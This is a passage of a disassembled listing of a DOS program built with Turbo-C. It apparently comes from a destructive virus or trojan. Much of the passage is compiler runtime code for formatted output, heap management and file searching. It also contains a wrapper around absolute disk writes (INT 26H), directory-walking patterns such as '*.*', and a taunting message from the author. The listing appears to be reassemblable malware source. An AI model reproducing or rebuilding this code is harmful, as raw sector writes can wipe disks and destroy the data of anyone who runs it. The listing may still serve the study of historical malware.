  2618.         TEST    AX,80H
  2619.         JZ    LOC_216            ; Jump if zero
  2620.         MOV    AX,2
  2621.         MOV    WORD PTR [BP-2],4
  2622.         JMP    SHORT LOC_218        ; (124A)
  2623. LOC_216:
  2624.         TEST    AX,100H
  2625.         JZ    LOC_217            ; Jump if zero
  2626.         MOV    AX,8
  2627.         MOV    WORD PTR [BP-2],0AH
  2628.         JMP    SHORT LOC_218        ; (124A)
  2629. LOC_217:
  2630.         MOV    WORD PTR [BP-2],8
  2631.         MOV    AX,6
  2632. LOC_218:
  2633.         PUSH    AX
  2634.         CALL    SUB_37            ; (0E85)
  2635.         MOV    AX,[BP-2]
  2636.         ADD    [BP+4],AX
  2637.         PUSH    SS
  2638.         POP    ES
  2639.         LEA    DI,[BP-85H]        ; Load effective addr
  2640. LOC_219:
  2641.         TEST    WORD PTR SS:DATA_126E[BP],8    ; (817F:FF6A=0)
  2642.         JZ    LOC_221            ; Jump if zero
  2643.         MOV    DX,SS:DATA_130E[BP]    ; (817F:FF70=0)
  2644.         OR    DX,DX            ; Zero ?
  2645.         JLE    LOC_221            ; Jump if < or =
  2646. LOC_220:
  2647.         CALL    SUB_40            ; (0EC8)
  2648.         SUB    DX,CX
  2649.         JLE    LOC_221            ; Jump if < or =
  2650.         MOV    SS:DATA_133E[BP],DX    ; (817F:FF76=0)
  2651. LOC_221:
  2652.         MOV    AL,SS:DATA_132E[BP]    ; (817F:FF75=0)
  2653.         OR    AL,AL            ; Zero ?
  2654.         JZ    LOC_222            ; Jump if zero
  2655.         CMP    BYTE PTR ES:[DI],2DH    ; '-'
  2656.         JE    LOC_222            ; Jump if equal
  2657.         SUB    WORD PTR SS:DATA_133E[BP],1    ; (817F:FF76=0)
  2658.         ADC    WORD PTR SS:DATA_133E[BP],0    ; (817F:FF76=0)
  2659.         DEC    DI
  2660.         MOV    ES:[DI],AL
  2661. LOC_222:
  2662.         CALL    SUB_40            ; (0EC8)
  2663. LOC_223:
  2664.         MOV    SI,DI
  2665.         MOV    DI,SS:DATA_127E[BP]    ; (817F:FF6C=0)
  2666.         MOV    BX,SS:DATA_130E[BP]    ; (817F:FF70=0)
  2667.         MOV    AX,5
  2668.         AND    AX,SS:DATA_126E[BP]    ; (817F:FF6A=0)
  2669.         CMP    AX,5
  2670.         JNE    LOC_224            ; Jump if not equal
  2671.         MOV    AH,SS:DATA_128E[BP]    ; (817F:FF6E=0)
  2672.         CMP    AH,6FH            ; 'o'
  2673.         JNE    LOC_225            ; Jump if not equal
  2674.         CMP    WORD PTR SS:DATA_133E[BP],0    ; (817F:FF76=0)
  2675.         JG    LOC_224            ; Jump if >
  2676.         MOV    WORD PTR SS:DATA_133E[BP],1    ; (817F:FF76=0)
  2677. LOC_224:
  2678.         JMP    SHORT LOC_227        ; (12E1)
  2679.         DB    90H
  2680. LOC_225:
  2681.         CMP    AH,78H            ; 'x'
  2682.         JE    LOC_226            ; Jump if equal
  2683.         CMP    AH,58H            ; 'X'
  2684.         JNE    LOC_227            ; Jump if not equal
  2685. LOC_226:
  2686.         OR    WORD PTR SS:DATA_126E[BP],40H    ; (817F:FF6A=0)
  2687.         DEC    BX
  2688.         DEC    BX
  2689.         SUB    WORD PTR SS:DATA_133E[BP],2    ; (817F:FF76=0)
  2690.         JGE    LOC_227            ; Jump if > or =
  2691.         MOV    WORD PTR SS:DATA_133E[BP],0    ; (817F:FF76=0)
  2692. LOC_227:
  2693.         ADD    CX,SS:DATA_133E[BP]    ; (817F:FF76=0)
  2694.         TEST    WORD PTR SS:DATA_126E[BP],2    ; (817F:FF6A=0)
  2695.         JNZ    LOC_230            ; Jump if not zero
  2696.         JMP    SHORT LOC_229        ; (12F5)
  2697. LOC_228:
  2698.         MOV    AL,20H            ; ' '
  2699.         CALL    SUB_41            ; (0ED5)
  2700.         DEC    BX
  2701. LOC_229:
  2702.         CMP    BX,CX
  2703.         JG    LOC_228            ; Jump if >
  2704. LOC_230:
  2705.         TEST    WORD PTR SS:DATA_126E[BP],40H    ; (817F:FF6A=0)
  2706.         JZ    LOC_231            ; Jump if zero
  2707.         MOV    AL,30H            ; '0'
  2708.         CALL    SUB_41            ; (0ED5)
  2709.         MOV    AL,SS:DATA_128E[BP]    ; (817F:FF6E=0)
  2710.         CALL    SUB_41            ; (0ED5)
  2711. LOC_231:
  2712.         MOV    DX,SS:DATA_133E[BP]    ; (817F:FF76=0)
  2713.         OR    DX,DX            ; Zero ?
  2714.         JLE    LOC_236            ; Jump if < or =
  2715.         SUB    CX,DX
  2716.         SUB    BX,DX
  2717.         MOV    AL,ES:[SI]
  2718.         CMP    AL,2DH            ; '-'
  2719.         JE    LOC_232            ; Jump if equal
  2720.         CMP    AL,20H            ; ' '
  2721.         JE    LOC_232            ; Jump if equal
  2722.         CMP    AL,2BH            ; '+'
  2723.         JNE    LOC_233            ; Jump if not equal
  2724. LOC_232:
  2725.         LODS    BYTE PTR ES:[SI]    ; String [si] to al
  2726.         CALL    SUB_41            ; (0ED5)
  2727.         DEC    CX
  2728.         DEC    BX
  2729. LOC_233:
  2730.         XCHG    CX,DX
  2731.         JCXZ    LOC_235            ; Jump if cx=0
  2732.   
  2733. LOCLOOP_234:
  2734.         MOV    AL,30H            ; '0'
  2735.         CALL    SUB_41            ; (0ED5)
  2736.         LOOP    LOCLOOP_234        ; Loop if cx > 0
  2737.   
  2738. LOC_235:
  2739.         XCHG    CX,DX
  2740. LOC_236:
  2741.         JCXZ    LOC_239            ; Jump if cx=0
  2742.         SUB    BX,CX
  2743.   
  2744. LOCLOOP_237:
  2745.         LODS    BYTE PTR ES:[SI]    ; String [si] to al
  2746.         MOV    [DI],AL
  2747.         INC    DI
  2748.         DEC    BYTE PTR [BP-53H]
  2749.         JG    LOC_238            ; Jump if >
  2750.         CALL    SUB_42            ; (0EDD)
  2751. LOC_238:
  2752.         LOOP    LOCLOOP_237        ; Loop if cx > 0
  2753.   
  2754. LOC_239:
  2755.         OR    BX,BX            ; Zero ?
  2756.         JLE    LOC_241            ; Jump if < or =
  2757.         MOV    CX,BX
  2758.   
  2759. LOCLOOP_240:
  2760.         MOV    AL,20H            ; ' '
  2761.         CALL    SUB_41            ; (0ED5)
  2762.         LOOP    LOCLOOP_240        ; Loop if cx > 0
  2763.   
  2764. LOC_241:
  2765.         JMP    LOC_165            ; (0F0D)
  2766. SUB_39        ENDP
  2767.   
  2768.   
  2769. ;───── Indexed Entry Point ────────────────────────────────────────────────
  2770.   
  2771. LOC_242:
  2772.         MOV    [BP+6],SI
  2773.         MOV    DI,[BP+4]
  2774.         TEST    WORD PTR SS:DATA_126E[BP],20H    ; (817F:FF6A=0)
  2775.         JNZ    LOC_243            ; Jump if not zero
  2776.         MOV    DI,[DI]
  2777.         ADD    WORD PTR [BP+4],2
  2778.         PUSH    DS
  2779.         POP    ES
  2780.         JMP    SHORT LOC_244        ; (137D)
  2781. LOC_243:
  2782.         LES    DI,DWORD PTR [DI]    ; Load 32 bit ptr
  2783.         ADD    WORD PTR [BP+4],4
  2784. LOC_244:
  2785.         MOV    AX,50H
  2786.         SUB    AL,[BP-53H]
  2787.         ADD    AX,[BP-56H]
  2788.         MOV    ES:[DI],AX
  2789.         JMP    LOC_164            ; (0F09)
  2790.   
  2791. ;───── Indexed Entry Point ────────────────────────────────────────────────
  2792.   
  2793. LOC_245:
  2794.         MOV    SI,SS:DATA_134E[BP]    ; (817F:FF78=0)
  2795.         MOV    DI,SS:DATA_127E[BP]    ; (817F:FF6C=0)
  2796.         MOV    AL,25H            ; '%'
  2797. LOC_246:
  2798.         CALL    SUB_41            ; (0ED5)
  2799.         LODSB                ; String [si] to al
  2800.         OR    AL,AL            ; Zero ?
  2801.         JNZ    LOC_246            ; Jump if not zero
  2802. LOC_247:
  2803.         CMP    BYTE PTR [BP-53H],50H    ; 'P'
  2804.         JGE    LOC_248            ; Jump if > or =
  2805.         CALL    SUB_42            ; (0EDD)
  2806. LOC_248:
  2807.         POP    ES
  2808.         MOV    AX,[BP-56H]
  2809.         JMP    SHORT LOC_249        ; (13AD)
  2810. LOC_249:
  2811.         POP    DI
  2812.         POP    SI
  2813.         MOV    SP,BP
  2814.         POP    BP
  2815.         RETN    8
  2816.   
  2817. ;▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀
  2818. ;                   SUBROUTINE
  2819. ;▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄
  2820.   
  2821. SUB_43        PROC    NEAR
  2822.         PUSH    BP
  2823.         MOV    BP,SP
  2824.         PUSH    SI
  2825.         PUSH    DI
  2826.         MOV    SI,[BP+4]
  2827.         CMP    WORD PTR DS:DATA_36E,0    ; (7FC4:04A6=8C40H)
  2828.         JE    LOC_250            ; Jump if equal
  2829.         MOV    BX,DS:DATA_36E        ; (7FC4:04A6=8C40H)
  2830.         MOV    DI,[BX+6]
  2831.         MOV    BX,DS:DATA_36E        ; (7FC4:04A6=8C40H)
  2832.         MOV    [BX+6],SI
  2833.         MOV    [DI+4],SI
  2834.         MOV    [SI+6],DI
  2835.         MOV    AX,DS:DATA_36E        ; (7FC4:04A6=8C40H)
  2836.         MOV    [SI+4],AX
  2837.         JMP    SHORT LOC_251        ; (13EA)
  2838. LOC_250:
  2839.         MOV    DS:DATA_36E,SI        ; (7FC4:04A6=8C40H)
  2840.         MOV    [SI+4],SI
  2841.         MOV    [SI+6],SI
  2842. LOC_251:
  2843.         POP    DI
  2844.         POP    SI
  2845.         POP    BP
  2846.         RETN
  2847. SUB_43        ENDP
  2848.   
  2849.   
  2850. ;▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀
  2851. ;                   SUBROUTINE
  2852. ;▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄
  2853.   
  2854. SUB_44        PROC    NEAR
  2855.         PUSH    BP
  2856.         MOV    BP,SP
  2857.         SUB    SP,2
  2858.         PUSH    SI
  2859.         PUSH    DI
  2860.         MOV    SI,[BP+6]
  2861.         MOV    DI,[BP+4]
  2862.         MOV    AX,[SI]
  2863.         ADD    [DI],AX
  2864.         MOV    AX,DS:DATA_35E        ; (7FC4:04A4=0AC26H)
  2865.         CMP    AX,SI
  2866.         JNE    LOC_252            ; Jump if not equal
  2867.         MOV    DS:DATA_35E,DI        ; (7FC4:04A4=0AC26H)
  2868.         JMP    SHORT LOC_253        ; (141A)
  2869. LOC_252:
  2870.         MOV    AX,[SI]
  2871.         ADD    AX,SI
  2872.         MOV    [BP-2],AX
  2873.         MOV    BX,[BP-2]
  2874.         MOV    [BX+2],DI
  2875. LOC_253:
  2876.         PUSH    SI
  2877.         CALL    SUB_15            ; (04EB)
  2878.         POP    CX
  2879.         POP    DI
  2880.         POP    SI
  2881.         MOV    SP,BP
  2882.         POP    BP
  2883.         RETN
  2884. SUB_44        ENDP
  2885.   
  2886.   
  2887. ;▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀
  2888. ;                   SUBROUTINE
  2889. ;▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄
  2890.   
  2891. SUB_45        PROC    NEAR
  2892.         PUSH    SI
  2893.         MOV    AX,DS:DATA_37E        ; (7FC4:04A8=87C5H)
  2894.         CMP    AX,DS:DATA_35E        ; (7FC4:04A4=0AC26H)
  2895.         JNE    LOC_254            ; Jump if not equal
  2896.         PUSH    WORD PTR DS:DATA_37E    ; (7FC4:04A8=87C5H)
  2897.         CALL    SUB_22            ; (0690)
  2898.         POP    CX
  2899.         XOR    AX,AX            ; Zero register
  2900.         MOV    DS:DATA_35E,AX        ; (7FC4:04A4=0AC26H)
  2901.         MOV    DS:DATA_37E,AX        ; (7FC4:04A8=87C5H)
  2902.         JMP    SHORT LOC_258        ; (147C)
  2903. LOC_254:
  2904.         MOV    BX,DS:DATA_35E        ; (7FC4:04A4=0AC26H)
  2905.         MOV    SI,[BX+2]
  2906.         TEST    WORD PTR [SI],1
  2907.         JNZ    LOC_257            ; Jump if not zero
  2908.         PUSH    SI
  2909.         CALL    SUB_15            ; (04EB)
  2910.         POP    CX
  2911.         CMP    SI,DS:DATA_37E        ; (7FC4:04A8=87C5H)
  2912.         JNE    LOC_255            ; Jump if not equal
  2913.         XOR    AX,AX            ; Zero register
  2914.         MOV    DS:DATA_35E,AX        ; (7FC4:04A4=0AC26H)
  2915.         MOV    DS:DATA_37E,AX        ; (7FC4:04A8=87C5H)
  2916.         JMP    SHORT LOC_256        ; (1469)
  2917. LOC_255:
  2918.         MOV    AX,[SI+2]
  2919.         MOV    DS:DATA_35E,AX        ; (7FC4:04A4=0AC26H)
  2920. LOC_256:
  2921.         PUSH    SI
  2922.         CALL    SUB_22            ; (0690)
  2923.         POP    CX
  2924.         JMP    SHORT LOC_258        ; (147C)
  2925. LOC_257:
  2926.         PUSH    WORD PTR DS:DATA_35E    ; (7FC4:04A4=0AC26H)
  2927.         CALL    SUB_22            ; (0690)
  2928.         POP    CX
  2929.         MOV    DS:DATA_35E,SI        ; (7FC4:04A4=0AC26H)
  2930. LOC_258:
  2931.         POP    SI
  2932.         RETN
  2933. SUB_45        ENDP
  2934.   
  2935.   
  2936. ;▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀
  2937. ;                   SUBROUTINE
  2938. ;▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄
  2939.   
  2940. SUB_46        PROC    NEAR
  2941.         PUSH    BP
  2942.         MOV    BP,SP
  2943.         SUB    SP,2
  2944.         PUSH    SI
  2945.         PUSH    DI
  2946.         MOV    SI,[BP+4]
  2947.         DEC    WORD PTR [SI]
  2948.         MOV    AX,[SI]
  2949.         ADD    AX,SI
  2950.         MOV    [BP-2],AX
  2951.         MOV    DI,[SI+2]
  2952.         TEST    WORD PTR [DI],1
  2953.         JNZ    LOC_259            ; Jump if not zero
  2954.         CMP    SI,DS:DATA_37E        ; (7FC4:04A8=87C5H)
  2955.         JE    LOC_259            ; Jump if equal
  2956.         MOV    AX,[SI]
  2957.         ADD    [DI],AX
  2958.         MOV    BX,[BP-2]
  2959.         MOV    [BX+2],DI
  2960.         MOV    SI,DI
  2961.         JMP    SHORT LOC_260        ; (14B4)
  2962. LOC_259:
  2963.         PUSH    SI
  2964.         CALL    SUB_43            ; (13B5)
  2965.         POP    CX
  2966. LOC_260:
  2967.         MOV    BX,[BP-2]
  2968.         TEST    WORD PTR [BX],1
  2969.         JNZ    LOC_261            ; Jump if not zero
  2970.         PUSH    WORD PTR [BP-2]
  2971.         PUSH    SI
  2972.         CALL    SUB_44            ; (13EE)
  2973.         POP    CX
  2974.         POP    CX
  2975. LOC_261:
  2976.         POP    DI
  2977.         POP    SI
  2978.         MOV    SP,BP
  2979.         POP    BP
  2980.         RETN
  2981. SUB_46        ENDP
  2982.   
  2983.   
  2984. ;▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀
  2985. ;                   SUBROUTINE
  2986. ;▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄
  2987.   
  2988. SUB_47        PROC    NEAR
  2989.         PUSH    BP
  2990.         MOV    BP,SP
  2991.         PUSH    SI
  2992.         MOV    SI,[BP+4]
  2993.         OR    SI,SI            ; Zero ?
  2994.         JNZ    LOC_262            ; Jump if not zero
  2995.         JMP    SHORT LOC_264        ; (14F0)
  2996. LOC_262:
  2997.         MOV    AX,SI
  2998.         ADD    AX,0FFFCH
  2999.         MOV    SI,AX
  3000.         CMP    SI,DS:DATA_35E        ; (7FC4:04A4=0AC26H)
  3001.         JNE    LOC_263            ; Jump if not equal
  3002.         CALL    SUB_45            ; (1425)
  3003.         JMP    SHORT LOC_264        ; (14F0)
  3004. LOC_263:
  3005.         PUSH    SI
  3006.         CALL    SUB_46            ; (147E)
  3007.         POP    CX
  3008. LOC_264:
  3009.         POP    SI
  3010.         POP    BP
  3011.         RETN
  3012. SUB_47        ENDP
  3013.   
  3014.   
  3015. ;▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀
  3016. ;                   SUBROUTINE
  3017. ;▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄
  3018.   
  3019. SUB_48        PROC    NEAR
  3020.         PUSH    BP
  3021.         MOV    BP,SP
  3022.         MOV    AX,0DCBH
  3023.         PUSH    AX
  3024.         PUSH    WORD PTR [BP+4]
  3025.         PUSH    WORD PTR [BP+6]
  3026.         LEA    AX,[BP+8]        ; Load effective addr
  3027.         PUSH    AX
  3028.         CALL    SUB_39            ; (0EB4)
  3029.         JMP    SHORT LOC_265        ; (1509)
  3030. LOC_265:
  3031.         POP    BP
  3032.         RETN
  3033. SUB_48        ENDP
  3034.   
  3035.   
  3036. ;▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀
  3037. ;                   SUBROUTINE
  3038. ;▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄
  3039.   
  3040. SUB_49        PROC    NEAR
  3041.         PUSH    BP
  3042.         MOV    BP,SP
  3043.         MOV    AH,1AH
  3044.         MOV    DX,[BP+6]
  3045.         INT    21H            ; DOS Services  ah=function 1Ah
  3046.                         ;  set DTA to ds:dx
  3047.         MOV    AH,4EH            ; 'N'
  3048.         MOV    CX,[BP+8]
  3049.         MOV    DX,[BP+4]
  3050.         INT    21H            ; DOS Services  ah=function 4Eh
  3051.                         ;  find 1st filenam match @ds:dx
  3052.         JC    LOC_266            ; Jump if carry Set
  3053.         XOR    AX,AX            ; Zero register
  3054.         JMP    SHORT LOC_267        ; (152B)
  3055. LOC_266:
  3056.         PUSH    AX
  3057.         CALL    SUB_10            ; (031F)
  3058.         JMP    SHORT LOC_267        ; (152B)
  3059. LOC_267:
  3060.         POP    BP
  3061.         RETN
  3062. SUB_49        ENDP
  3063.   
  3064.   
  3065. ;▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀
  3066. ;                   SUBROUTINE
  3067. ;▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄
  3068.   
  3069. SUB_50        PROC    NEAR
  3070.         PUSH    BP
  3071.         MOV    BP,SP
  3072.         MOV    AH,1AH
  3073.         MOV    DX,[BP+4]
  3074.         INT    21H            ; DOS Services  ah=function 1Ah
  3075.                         ;  set DTA to ds:dx
  3076.         MOV    AH,4FH            ; 'O'
  3077.         INT    21H            ; DOS Services  ah=function 4Fh
  3078.                         ;  find next filename match
  3079.         JC    LOC_268            ; Jump if carry Set
  3080.         XOR    AX,AX            ; Zero register
  3081.         JMP    SHORT LOC_269        ; (1547)
  3082. LOC_268:
  3083.         PUSH    AX
  3084.         CALL    SUB_10            ; (031F)
  3085.         JMP    SHORT LOC_269        ; (1547)
  3086. LOC_269:
  3087.         POP    BP
  3088.         RETN
  3089. SUB_50        ENDP
  3090.   
  3091.         DB    55H, 8BH, 0ECH, 0FFH, 76H, 6
  3092.         DB    0FFH, 76H, 8, 8BH, 5EH, 4
  3093.         DB    0FFH, 37H, 0E8H, 52H, 0F6H, 8BH
  3094.         DB    0E5H, 8BH, 46H, 6, 8BH, 5EH
  3095.         DB    4, 1, 7, 8BH, 1FH, 0C6H
  3096.         DB    7, 0, 33H, 0C0H, 0EBH, 0
  3097.         DB    5DH, 0C2H, 6, 0
  3098.   
  3099. ;▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀
  3100. ;                   SUBROUTINE
  3101. ;▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄
  3102.   
  3103. SUB_51        PROC    NEAR
  3104.         PUSH    BP
  3105.         MOV    BP,SP
  3106.         MOV    BX,[BP+4]
  3107.         MOV    BYTE PTR [BX],0
  3108.         MOV    AX,1549H
  3109.         PUSH    AX
  3110.         LEA    AX,[BP+4]        ; Load effective addr
  3111.         PUSH    AX
  3112.         PUSH    WORD PTR [BP+6]
  3113.         LEA    AX,[BP+8]        ; Load effective addr
  3114.         PUSH    AX
  3115.         CALL    SUB_39            ; (0EB4)
  3116.         JMP    SHORT LOC_270        ; (158E)
  3117. LOC_270:
  3118.         POP    BP
  3119.         RETN
  3120. SUB_51        ENDP
  3121.   
  3122.         DB    55H, 8BH, 0ECH, 8BH, 5EH, 4
  3123.         DB    0C6H, 7, 0, 0B8H, 49H, 15H
  3124.         DB    50H, 8DH, 46H, 4, 50H, 0FFH
  3125.         DB    76H, 6, 0FFH, 76H, 8, 0E8H
  3126.         DB    0AH, 0F9H, 0EBH, 0, 5DH, 0C3H
  3127.         DB    55H, 8BH, 0ECH, 56H, 57H, 8AH
  3128.         DB    46H, 4, 8BH, 4EH, 6, 8BH
  3129.         DB    56H, 8, 8BH, 5EH, 0AH, 0CDH
  3130.         DB    25H, 5BH, 72H, 4, 33H, 0C0H
  3131.         DB    0EBH, 8, 0A3H, 94H, 0, 0B8H
  3132.         DB    0FFH, 0FFH, 0EBH, 0
  3133. LOC_271:
  3134.         POP    DI
  3135.         POP    SI
  3136.         POP    BP
  3137.         RETN
  3138.   
  3139. ;▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀
  3140. ;                   SUBROUTINE
  3141. ;▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄
  3142.   
  3143. SUB_52        PROC    NEAR
  3144.         PUSH    BP
  3145.         MOV    BP,SP
  3146.         PUSH    SI
  3147.         PUSH    DI
  3148.         MOV    AL,[BP+4]
  3149.         MOV    CX,[BP+6]
  3150.         MOV    DX,[BP+8]
  3151.         MOV    BX,[BP+0AH]
  3152.         INT    26H            ; Absolute disk write, drive al
  3153.         POP    BX
  3154.         JC    LOC_272            ; Jump if carry Set
  3155.         XOR    AX,AX            ; Zero register
  3156.         JMP    SHORT LOC_273        ; (15F6)
  3157. LOC_272:
  3158.         MOV    DATA_78,AX        ; (8134:0094=0)
  3159.         MOV    AX,0FFFFH
  3160.         JMP    SHORT LOC_273        ; (15F6)
  3161. LOC_273:
  3162.         POP    DI
  3163.         POP    SI
  3164.         POP    BP
  3165.         RETN
  3166. SUB_52        ENDP
  3167.   
  3168.         DB    0, 0, 0, 0, 0, 0
  3169.   
  3170. SEG_A        ENDS
  3171.   
  3172.   
  3173.   
  3174. ;--------------------------------------------------------------    SEG_B  ----
  3175.   
  3176. SEG_B        SEGMENT    PARA PUBLIC
  3177.         ASSUME CS:SEG_B , DS:SEG_B , SS:STACK_SEG_C
  3178.   
  3179.         DB    0, 0, 0, 0
  3180.         DB    'Turbo-C - Copyright (c) 1988 Bor'
  3181.         DB    'land Intl.'
  3182.         DB    0
  3183.         DB    'Null pointer assignment', 0DH, 0AH
  3184.         DB    'Divide error', 0DH, 0AH, 'Abnorm'
  3185.         DB    'al program termination', 0DH, 0AH
  3186. DATA_65        DW    0
  3187. DATA_66        DW    0
  3188. DATA_67        DW    0
  3189. DATA_68        DW    0
  3190. DATA_69        DW    0
  3191. DATA_70        DW    0
  3192. DATA_71        DW    0
  3193. DATA_72        DW    0
  3194.         DB    0, 0, 0, 0, 0, 0
  3195. DATA_73        DD    00000H
  3196. DATA_75        DW    0
  3197. DATA_76        DW    0
  3198. DATA_77        DW    0
  3199. DATA_78        DW    0
  3200. DATA_79        DW    0
  3201.         DB    0, 0, 0, 0, 0AAH, 4
  3202. DATA_80        DW    4AAH
  3203.         DB    0AAH, 4, 0
  3204.         DB    0
  3205. DATA_82        DW    0
  3206.         DB    0, 0
  3207. DATA_83        DW    0
  3208.         DB    0, 0
  3209. DATA_84        DW    0
  3210.         DB    231 DUP (0)
  3211.         DB    25H, 73H, 5CH, 25H, 73H, 0
  3212.         DB    2AH, 2EH, 2AH, 0, 5CH, 2AH
  3213.         DB    2EH, 2AH, 0
  3214.         DB    'THIS PROGRAM WAS MADE BY A PERSO'
  3215.         DB    'N FAR FROM YOU!!'
  3216.         DB    0, 0, 0, 0, 0, 13H
  3217.         DB    2, 2, 4, 5, 6, 8
  3218.         DB    8, 8, 14H, 15H, 5, 13H
  3219.         DB    0FFH, 16H, 5, 11H, 2, 0FFH
  3220.         DB    12 DUP (0FFH)
  3221.         DB    5, 5, 0FFH
  3222.         DB    15 DUP (0FFH)
  3223.         DB    0FH, 0FFH, 23H, 2, 0FFH, 0FH
  3224.         DB    0FFH, 0FFH, 0FFH, 0FFH, 13H, 0FFH
  3225.         DB    0FFH, 2, 2, 5, 0FH, 2
  3226.         DB    0FFH, 0FFH, 0FFH, 13H
  3227.         DB    8 DUP (0FFH)
  3228.         DB    23H, 0FFH, 0FFH, 0FFH, 0FFH, 23H
  3229.         DB    0FFH, 13H, 0FFH, 0, 5AH, 3
  3230.         DB    5AH, 3, 5AH, 3
  3231. DATA_88        DW    0
  3232. DATA_89        DW    1000H
  3233.         DB    0, 0, 0, 0, 9, 2
  3234.         DB    10 DUP (0)
  3235.         DB    3EH, 2, 0, 0, 0AH, 2
  3236.         DB    1
  3237.         DB    9 DUP (0)
  3238.         DB    4EH, 2, 0, 0, 2, 2
  3239.         DB    2
  3240.         DB    9 DUP (0)
  3241.         DB    5EH, 2, 0, 0, 43H, 2
  3242.         DB    3, 0
  3243.         DB    8 DUP (0)
  3244.         DB    6EH, 2, 0, 0, 42H, 2
  3245.         DB    4, 0
  3246.         DB    8 DUP (0)
  3247.         DB    7EH, 2, 0, 0, 0, 0
  3248.         DB    0FFH, 0
  3249.         DB    8 DUP (0)
